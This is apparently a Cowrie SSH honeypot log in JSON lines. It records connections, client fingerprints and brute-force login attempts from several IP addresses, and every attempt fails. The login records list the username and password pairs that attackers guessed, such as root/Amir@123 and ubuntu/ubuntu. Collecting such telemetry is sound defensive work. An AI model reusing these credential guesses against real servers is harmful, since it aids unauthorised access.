{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:50.107084Z","src_ip":"69.6.234.27","session":"d0d42c4f87db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:50.179296Z","src_ip":"69.6.234.27","session":"d0d42c4f87db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir@123","message":"login attempt [root/Amir@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:50.502377Z","src_ip":"69.6.234.27","session":"d0d42c4f87db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:50.695557Z","src_ip":"43.156.2.226","session":"8b1a81b5d063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:00:51.577958Z","src_ip":"69.6.234.27","session":"d0d42c4f87db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":34844,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a9c26d76d3","protocol":"ssh","message":"New connection: 37.233.85.71:34844 (159.203.135.109:22) [session: 96a9c26d76d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:39.475557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:39.479673Z","src_ip":"37.233.85.71","session":"96a9c26d76d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:39.587658Z","src_ip":"37.233.85.71","session":"96a9c26d76d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1111qqqq","message":"login attempt [root/1111qqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:39.956812Z","src_ip":"37.233.85.71","session":"96a9c26d76d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:41.070201Z","src_ip":"37.233.85.71","session":"96a9c26d76d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6066a423169","protocol":"ssh","message":"New connection: 103.77.175.15:50068 (10.17.0.5:22) [session: e6066a423169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:52.708588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:52.713626Z","src_ip":"103.77.175.15","session":"e6066a423169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:52.967709Z","src_ip":"103.77.175.15","session":"e6066a423169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:53.733184Z","src_ip":"103.77.175.15","session":"e6066a423169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:01:54.988988Z","src_ip":"103.77.175.15","session":"e6066a423169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":49258,"dst_ip":"159.203.135.109","dst_port":22,"session":"3127a4e45c0f","protocol":"ssh","message":"New connection: 167.172.81.52:49258 (159.203.135.109:22) [session: 3127a4e45c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:08.999396Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:09.004674Z","src_ip":"167.172.81.52","session":"3127a4e45c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:09.009003Z","src_ip":"167.172.81.52","session":"3127a4e45c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":48000,"dst_ip":"159.203.135.109","dst_port":22,"session":"310076dffcf6","protocol":"ssh","message":"New connection: 69.6.234.27:48000 (159.203.135.109:22) [session: 310076dffcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:16.375380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:16.380322Z","src_ip":"69.6.234.27","session":"310076dffcf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:16.454248Z","src_ip":"69.6.234.27","session":"310076dffcf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel1234","message":"login attempt [daniel/daniel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:16.780650Z","src_ip":"69.6.234.27","session":"310076dffcf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:17.858394Z","src_ip":"69.6.234.27","session":"310076dffcf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":51882,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd1af0543a61","protocol":"ssh","message":"New connection: 43.156.2.226:51882 (159.203.135.109:22) [session: dd1af0543a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:23.249960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:23.254254Z","src_ip":"43.156.2.226","session":"dd1af0543a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:23.492052Z","src_ip":"43.156.2.226","session":"dd1af0543a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mailuser","password":"123","message":"login attempt [mailuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:24.480368Z","src_ip":"43.156.2.226","session":"dd1af0543a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:02:25.721613Z","src_ip":"43.156.2.226","session":"dd1af0543a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":52410,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e92e9da87b7","protocol":"ssh","message":"New connection: 80.94.92.184:52410 (159.203.135.109:22) [session: 2e92e9da87b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:04.736084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:04.779434Z","src_ip":"80.94.92.184","session":"2e92e9da87b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:04.919581Z","src_ip":"80.94.92.184","session":"2e92e9da87b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:06.046164Z","src_ip":"80.94.92.184","session":"2e92e9da87b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":54932,"dst_ip":"159.203.135.109","dst_port":22,"session":"9386a67aecc5","protocol":"ssh","message":"New connection: 103.149.170.125:54932 (159.203.135.109:22) [session: 9386a67aecc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:07.161855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:07.166831Z","src_ip":"103.149.170.125","session":"9386a67aecc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:07.217130Z","src_ip":"80.94.92.184","session":"2e92e9da87b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:07.436112Z","src_ip":"103.149.170.125","session":"9386a67aecc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thomas","message":"login attempt [root/thomas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:09.253508Z","src_ip":"103.149.170.125","session":"9386a67aecc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:11.178337Z","src_ip":"103.149.170.125","session":"9386a67aecc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":52606,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b0597c2629","protocol":"ssh","message":"New connection: 69.6.234.27:52606 (159.203.135.109:22) [session: 99b0597c2629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:44.986028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:44.991508Z","src_ip":"69.6.234.27","session":"99b0597c2629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:45.065763Z","src_ip":"69.6.234.27","session":"99b0597c2629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zy@123456","message":"login attempt [root/Zy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:45.391417Z","src_ip":"69.6.234.27","session":"99b0597c2629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:46.468684Z","src_ip":"69.6.234.27","session":"99b0597c2629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5c60dee78f7","protocol":"ssh","message":"New connection: 103.75.183.219:57402 (10.17.0.5:22) [session: e5c60dee78f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:46.633049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:03:46.637966Z","src_ip":"103.75.183.219","session":"e5c60dee78f7","protocol":"ssh"}
